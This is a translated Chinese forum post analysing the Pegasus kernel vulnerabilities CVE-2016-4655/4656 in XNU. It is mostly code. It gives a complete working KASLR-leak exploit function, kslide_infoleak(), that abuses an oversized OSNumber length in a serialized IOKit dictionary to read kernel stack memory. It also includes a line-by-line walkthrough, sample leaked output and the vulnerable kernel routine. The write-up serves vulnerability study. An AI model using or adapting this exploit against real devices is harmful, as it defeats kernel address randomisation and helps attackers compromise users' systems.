首页
社区
课程
招聘
[翻译]Pegasus内核漏洞分析与利用(下)(CVE-2016-4655/CVE-2016-4656)
发表于: 2016-10-20 10:37 6216

[翻译]Pegasus内核漏洞分析与利用(下)(CVE-2016-4655/CVE-2016-4656)

2016-10-20 10:37
6216
case kOSSerializeNumber:
    bufferPos += sizeof(long long);
    if (bufferPos > bufferSize) break;
    value = next[1];
    value <<= 32;
    value |= next[0];
    o = OSNumber::withNumber(value, len);
    next += 2;
    break;
...
else
{
    sym = OSDynamicCast(OSSymbol, o);
    if (!sym && (str = OSDynamicCast(OSString, o))) {
        sym = (OSSymbol *) OSSymbol::withString(str);
        o->release();
        o = 0;
    }
    ok = (sym != 0);
}
case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    o->retain();
    isRef = true;
    break;
uint64_t kslide_infoleak(void)
{
    kern_return_t kr = 0, err = 0;
    mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;

    io_service_t serv = 0;
    io_connect_t conn = 0;
    io_iterator_t iter = 0;

    uint64_t kslide = 0;

    void *dict = calloc(1, 512);
    uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries

    WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
    WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
    WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big numbe

    host_get_io_master(mach_host_self(), &master); // get iokit master port

    kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
    if (kr == KERN_SUCCESS) {
        printf("(+) Dictionary is valid! Spawning user client...\n");
    } else
        return -1;

    serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

    kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
    if (kr == KERN_SUCCESS) {
        printf("(+) UC successfully spawned! Leaking bytes...\n");
    } else
        return -1;

    IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
    io_object_t object = IOIteratorNext(iter);

    char buf[0x200] = {0};
    mach_msg_type_number_t bufCnt = 0x200;

    kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
    if (kr == KERN_SUCCESS) {
        printf("(+) Done! Calculating KASLR slide...\n");
    } else
        return -1;

#if 0
    for (uint32_t k = 0; k < 128; k += 8) {
        printf("%#llx\n", *(uint64_t *)(buf + k));
    }
#endif

    uint64_t hardcoded_ret_addr = 0xffffff80003934bf;

    kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;

    printf("(i) KASLR slide is %#016llx\n", kslide);

    return kslide;
}
void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
<dict>
    <symbol>AAA</symbol>
    <number size=0x200>0x4141414141414141</number>
</dict>
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries

WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our
host_get_io_master(mach_host_self(), &master); // get iokit master port

kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr == KERN_SUCCESS) {
    printf("(+) Dictionary is valid! Spawning user client...\n");
} else
    return -1;
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
    printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
    return -1;
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);
char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;

kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
    printf("(+) Done! Calculating KASLR slide...\n");
} else
    return -1;
for (uint32_t k = 0; k < 128; k += 8) {
    printf("%#llx\n", *(uint64_t *)(buf + k));
}
0x4141414141414141  // our valid number
0xffffff8033c66284  //
0xffffff8035b5d800  //
0x4                 // other data on the stack between our valid number and the ret addr...
0xffffff803506d5a0  //
0xffffff8033c662b4  //
0xffffff818d2b3e30  //
0xffffff80037934bf  // function return address
...
/* Routine io_registry_entry_get_property */
kern_return_t is_io_registry_entry_get_property_bytes(
	io_object_t registry_entry,
	io_name_t property_name,
	io_struct_inband_t buf,
	mach_msg_type_number_t *dataCnt )
{
    OSObject	*	obj;
    OSData 	*	data;
    OSString 	*	str;
    OSBoolean	*	boo;
    OSNumber 	*	off;
    UInt64		offsetBytes;
    unsigned int	len = 0;
    const void *	bytes = 0;
    IOReturn		ret = kIOReturnSuccess;

    CHECK( IORegistryEntry, registry_entry, entry );

#if CONFIG_MACF
    if (0 != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name))
        return kIOReturnNotPermitted;
#endif

    obj = entry->copyProperty(property_name);
    if( !obj)
        return( kIOReturnNoResources );

    // One day OSData will be a common container base class
    // until then...
    if( (data = OSDynamicCast( OSData, obj ))) {
	len = data->getLength();
	bytes = data->getBytesNoCopy();

    } else if( (str = OSDynamicCast( OSString, obj ))) {
	len = str->getLength() + 1;
	bytes = str->getCStringNoCopy();

    } else if( (boo = OSDynamicCast( OSBoolean, obj ))) {
	len = boo->isTrue() ? sizeof("Yes") : sizeof("No");
	bytes = boo->isTrue() ? "Yes" : "No";

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {    /* j: reading an OSNumber */
	offsetBytes = off->unsigned64BitValue();
	len = off->numberOfBytes();
	bytes = &offsetBytes;
#ifdef __BIG_ENDIAN__
	bytes = (const void *)
		(((UInt32) bytes) + (sizeof( UInt64) - len));
#endif

    } else
	ret = kIOReturnBadArgument;

    if( bytes) {
	if( *dataCnt < len)
	    ret = kIOReturnIPCError;
	else {
            *dataCnt = len;
            bcopy( bytes, buf, len );
	}
    }
    obj->release();

    return( ret );
}
...
else if( (off = OSDynamicCast( OSNumber, obj ))) {
	offsetBytes = off->unsigned64BitValue(); /* j: the offsetBytes variable is allocated on the stack */
	len = off->numberOfBytes(); /* j: this reads out our malformed length, 0x200 */
	bytes = &offsetBytes; /* j: bytes* ptr points to a stack variable */

    ...
}
...

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//